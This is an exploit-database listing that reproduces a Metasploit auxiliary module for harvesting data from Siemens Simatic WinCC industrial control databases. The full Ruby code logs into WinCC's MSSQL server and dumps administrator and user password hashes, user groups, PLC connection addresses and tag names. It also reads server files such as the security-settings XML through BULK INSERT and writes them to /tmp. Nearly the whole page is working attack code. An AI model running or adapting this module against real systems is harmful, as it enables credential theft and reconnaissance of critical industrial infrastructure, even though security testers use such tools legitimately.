Simatic WinCC Information Harvester



EKU-ID: 2976 CVE: OSVDB-ID:
Author: Dmitry Nagibin Published: 2013-01-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


## encoding: UTF-8
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})
		super(update_info(info,
			'Name'	=> 'Simatic WinCC info harvester',
			'Description'	=> %q{
				This module receives sensitive information from the WinCC database.
			},
			'Author'	=> 
				[
					'Dmitry Nagibin', # research
					'Gleb Gritsai <ggritsai@ptsecurity.ru>', # research
					'Vyacheslav Egoshin <vegoshin@ptsecurity.ru>', # metasploit module
				],
			'License'	=>  MSF_LICENSE,
			'References'	=>
				[
					[ 'URL', 'http://www.ptsecurity.com' ]
				],
			'Version'	=> '$Revision$',
			'DisclosureDate'=> 'Jun 3 2012'
			))
		register_options(
			[
				OptString.new('DOCUMENTS_FOLDER_NAME', [true, "Documents folder name", 'Documents']),
			], self.class
		)
	end
	
	def run
		if mssql_login_datastore # connect
			
			project_databases_names = q("SELECT name FROM master..sysdatabases WHERE name LIKE 'CC%_[0-9]'") # get db
			
			get_info project_databases_names

		else
			print_error "Can't connect to the database"
		end
	end

	def q query, show_errors = true, verbose = false, only_rows = true
		result = mssql_query(query, verbose)
		if !result[:errors].empty? and show_errors
			print_error "Error: #{result[:errors]}"
			print_error "Error query: #{query}"
		else
			only_rows ? result[:rows] : result
		end
	end
	
	def get_info dbs
		prj ={}
		dbs.map do |db|
			
			db = db.first # get db name
			
			prj[db] = {} # init hash
			prj[db]["name"]		= q("SELECT DSN FROM #{db}.dbo.CC_CsSysInfoLog")
			prj[db]["admins"]	= q("SELECT NAME, convert(varbinary, PASS) as PWD from #{db}.dbo.PW_USER WHERE PASS <> '' and GRPID = 1000")
			prj[db]["users"] 	= q("SELECT ID, NAME, convert(varbinary, PASS), GRPID FROM #{db}.[dbo].[PW_USER] WHERE PASS <> '' and GRPID <> 1000")
			prj[db]["groups"]	= q("SELECT ID, NAME FROM #{db}.[dbo].[PW_USER] WHERE PASS = ''")
			prj[db]["plcs"]		= q("SELECT CONNECTIONNAME, PARAMETER FROM #{db}.[dbo].[MCPTCONNECTION]")
			prj[db]["tags"]		= q("SELECT VARNAME,VARTYP,COMMENTS FROM #{db}.[dbo].[PDE#TAGs]")

			prj[db]["plcs"] = prj[db]["plcs"].map do |name, ip| # get plc IP
				real_ip = ip # set current value
				real_ip = ip.scan(/\d+\.\d+\.\d+\.\d+/).first if ip =~ /\d+\.\d+\.\d+\.\d+/ # if ip notation found
				[name, real_ip]
			end

			print_good "Project: #{prj[db]["name"].first.first}\n" # print project name
			
			#Table data
			print_table %w|ID NAME|				, prj[db]["groups"], 	"WinCC groups"
			print_table %w|Name Password(hex)|		, prj[db]["admins"], 	"WinCC administrator"
			print_table %w|ID NAME Password(hex) GRPID|	, prj[db]["users"], 	"WinCC users"
			print_table %w|VARNAME VARTYP COMMENTS|		, prj[db]["tags"], 	"WinCC tags"
			print_table %w|CONNECTIONNAME PARAMETER|	, prj[db]["plcs"], 	"WinCC PLCs"

			#check file access through batched queries
			if can_read_file? db
				settings = read_file get_value("Security settings path"), db
				
				if settings # save results to file
					File.open("/tmp/security_settings.xml", "w+") do |f|
					f.puts settings
					end
				end	

			end
			print_line
		end
	end

	def print_table columns, rows, header = ''
		tbl = Rex::Ui::Text::Table.new(
						'Indent' 	=> 4,
						'Header' 	=> header,
						'Columns' 	=> columns
		)
		unless rows.nil?
			rows.each do |r|
				tbl << r # add rows
			end 

			print_line tbl.to_s
		end
	end

	#read file through batched queries
	def read_file file_name, db
		q("CREATE TABLE mydata (line varchar(8000));", false)
		q("BULK INSERT mydata FROM '#{file_name}';", false)
		result = q("select * from mydata", false)
		q("DROP TABLE mydata;", false)
		print_error("Can't read file: #{file_name}") if result.nil?
		result
	end

	#check account read file
	def can_read_file? db
		res = read_file get_value("test"), db
		print_status "Access read files! (#{get_value "test"} read)" unless res.nil?
		res.size > 0 # return true or false
	end

	def get_value i
		config = {
			"Security settings path" => %q|C:\Documents and Settings\All Users\Documents\SimaticSecurityControl\setRules.xml|,
			"test"			 => %q|C:\Windows\win.ini|
		}
		config[i]
	end

end